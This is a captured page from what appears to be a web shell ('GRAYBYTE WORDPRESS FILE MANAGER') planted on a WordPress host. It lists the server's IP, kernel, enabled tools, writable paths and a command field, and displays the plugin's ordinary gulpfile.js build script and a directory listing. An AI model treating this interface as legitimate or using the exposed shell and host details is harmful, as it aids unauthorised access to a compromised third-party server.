GRAYBYTE WORDPRESS FILE MANAGER7297

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/complianz-gdpr/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/complianz-gdpr//gulpfile.js
const gulp = require('gulp');
const rtlcss = require('gulp-rtlcss');
const concat = require('gulp-concat');
const cssbeautify = require('gulp-cssbeautify');
const cssuglify = require('gulp-uglifycss');
const jsuglify = require('gulp-uglify');
const sass = require('gulp-sass')(require('sass'));
const spawn = require('child_process').spawn;

/**
 * Watches for changes in specific JavaScript and SCSS files and triggers the corresponding build tasks.
 * Also starts an npm process in the 'settings' directory.
 *
 */
function defaultTask(cb) {
	gulp.watch('./assets/css/document.scss', { ignoreInitial: false }, buildCssDocument);
	// Watch for changes in 'document-grid.scss' and run 'buildCssDocumentGrid' task
	gulp.watch('./assets/css/document-grid.scss', { ignoreInitial: false }, buildCssDocumentGrid);
	// Watch for changes in 'admin.scss' and run 'buildCssAdmin' task
	gulp.watch('./assets/css/admin.scss', { ignoreInitial: false }, buildCssAdmin);
	// Watch for changes in 'cookieblocker.scss' and run 'buildCssCookieblocker' task
	gulp.watch('./assets/css/cookieblocker.scss', { ignoreInitial: false }, buildCssCookieblocker);
	// Watch for changes in JavaScript files in the 'cookiebanner/js' directory and run 'buildJsCookiebanner' task
	gulp.watch('./cookiebanner/js/complianz.js', { ignoreInitial: false }, buildJsCookiebanner);
	// Watch for changes in 'document.scss' and run 'buildCssDocument' task
	// Start an npm process in the 'settings' directory
	// spawn('npm', ['start'], { cwd: 'settings', stdio: 'inherit' });
	// Signal completion
	cb();
}
exports.default = defaultTask

/**
 * Builds the Cookiebanner JavaScript files by concatenating and minifying them.
 *
 */
function buildJsCookiebanner() {
	return gulp.src('cookiebanner/js/complianz.js')
		.pipe(concat('complianz.min.js'))
		.pipe(jsuglify())
		.pipe(gulp.dest('./cookiebanner/js')); // Final output for minified version
}
exports['build:js:cookiebanner'] = buildJsCookiebanner;

/**
 * Builds all JavaScript files by running the specified tasks in series.
 *
 */
function buildJsAll(cb) {
	return gulp.series(
		buildJsCookiebanner
	)(cb);
}
exports['build:js:all'] = buildJsAll;

/**
 * Builds all CSS files by running the specified tasks in series.
 *
 */
function buildCssAll(cb) {
	return gulp.series(
		buildCssDocument,
		buildCssDocumentGrid,
		buildCssAdmin,
		buildCssCookieblocker,
	)(cb);
}
exports['build:css:all'] = buildCssAll;

/**
 * Builds the Document CSS by compiling SCSS to CSS, beautifying, minifying.
 *
 */
function buildCssDocument() {
	return 	gulp.src('./assets/css/document.scss')
		.pipe(sass(({outputStyle: 'expanded'})).on('error', sass.logError))
		.pipe(cssbeautify()) // Beautify the CSS
		.pipe(gulp.dest('./assets/css'))
		.pipe(cssuglify()) // Minify the CSS
		.pipe(concat('document.min.css'))
		.pipe(gulp.dest('./assets/css'));
}
exports['build:css:document'] = buildCssDocument;

/**
 * Builds the DocumentGrid CSS by compiling SCSS to CSS, beautifying, minifying.
 *
 */
function buildCssDocumentGrid() {
	return 	gulp.src('./assets/css/document-grid.scss')
		.pipe(sass(({outputStyle: 'expanded'})).on('error', sass.logError))
		.pipe(cssbeautify()) // Beautify the CSS
		.pipe(gulp.dest('./assets/css'))
		.pipe(cssuglify()) // Minify the CSS
		.pipe(concat('document-grid.min.css'))
		.pipe(gulp.dest('./assets/css'));
}
exports['build:css:document-grid'] = buildCssDocumentGrid;

/**
 * Builds the Admin CSS by compiling SCSS to CSS, beautifying, minifying, and generating RTL CSS.
 *
 */
function buildCssAdmin() {
	return 	gulp.src('./assets/css/admin.scss')
		.pipe(sass(({outputStyle: 'expanded'})).on('error', sass.logError))
		.pipe(cssbeautify()) // Beautify the CSS
		.pipe(gulp.dest('./assets/css'))
		.pipe(cssuglify()) // Minify the CSS
		.pipe(concat('admin.min.css'))
		.pipe(gulp.dest('./assets/css'))
		.pipe(rtlcss())
		.pipe(gulp.dest('./assets/css/rtl'));
}
exports['build:css:admin'] = buildCssAdmin;

/**
 * Builds the Cookieblocker CSS by compiling SCSS to CSS, beautifying, minifying.
 *
 */
function buildCssCookieblocker() {

	return 	gulp.src('./assets/css/cookieblocker.scss')
		.pipe(sass(({outputStyle: 'expanded'})).on('error', sass.logError))
		.pipe(cssbeautify()) // Beautify the CSS
		.pipe(gulp.dest('./assets/css'))
		.pipe(cssuglify()) // Minify the CSS
		.pipe(concat('cookieblocker.min.css'))
		.pipe(gulp.dest('./assets/css'));
}
exports['build:css:cookieblocker'] = buildCssCookieblocker;

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 10:54:02
inteuuod / inteuuod
0755
DNSMPD
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
assets
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
config
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
cookie
--
July 10 2025 04:32:22
inteuuod / inteuuod
0755
cookiebanner
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
cron
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
documents
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
gutenberg
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
integrations
--
July 10 2025 04:32:22
inteuuod / inteuuod
0755
languages
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
mailer
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
onboarding
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
placeholders
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
progress
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
proof-of-consent
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
rest-api
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
settings
--
July 13 2025 14:37:40
inteuuod / inteuuod
0755
templates
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
upgrade
--
July 10 2025 04:32:22
inteuuod / inteuuod
0755
websitescan
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:22
inteuuod / inteuuod
0644
LICENSE.txt
17.984 KB
May 09 2022 13:18:48
inteuuod / inteuuod
0644
README.md
2.168 KB
October 04 2021 17:35:52
inteuuod / inteuuod
0644
class-admin.php
16.865 KB
June 18 2025 13:10:28
inteuuod / inteuuod
0644
class-company.php
3.506 KB
February 26 2024 13:54:50
inteuuod / inteuuod
0644
class-cookie-blocker.php
33.235 KB
April 30 2024 12:07:12
inteuuod / inteuuod
0644
class-document.php
90.921 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644
class-export.php
1.488 KB
February 26 2024 13:54:50
inteuuod / inteuuod
0644
class-field.php
117.262 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644
class-installer.php
3.975 KB
February 26 2024 13:54:50
inteuuod / inteuuod
0644
class-review.php
5.563 KB
June 18 2025 13:10:28
inteuuod / inteuuod
0644
class-wizard.php
37.096 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644
complianz-gpdr.php
14.414 KB
June 18 2025 13:10:28
inteuuod / inteuuod
0644
composer.json
0.695 KB
October 28 2024 14:44:26
inteuuod / inteuuod
0644
functions-legacy.php
0.171 KB
February 26 2024 13:54:50
inteuuod / inteuuod
0644
functions.php
78.289 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644
gulpfile.js
4.356 KB
March 11 2025 20:22:50
inteuuod / inteuuod
0644
index.php
0.027 KB
June 26 2018 16:32:12
inteuuod / inteuuod
0644
loco.xml
0.365 KB
October 05 2021 15:48:18
inteuuod / inteuuod
0644
readme.txt
28.087 KB
June 18 2025 13:10:28
inteuuod / inteuuod
0644
security.md
0.67 KB
August 09 2023 12:51:42
inteuuod / inteuuod
0644
system-status.php
4.751 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644
uninstall.php
6.524 KB
June 18 2025 13:10:28
inteuuod / inteuuod
0644
upgrade.php
34.728 KB
April 01 2025 15:24:50
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF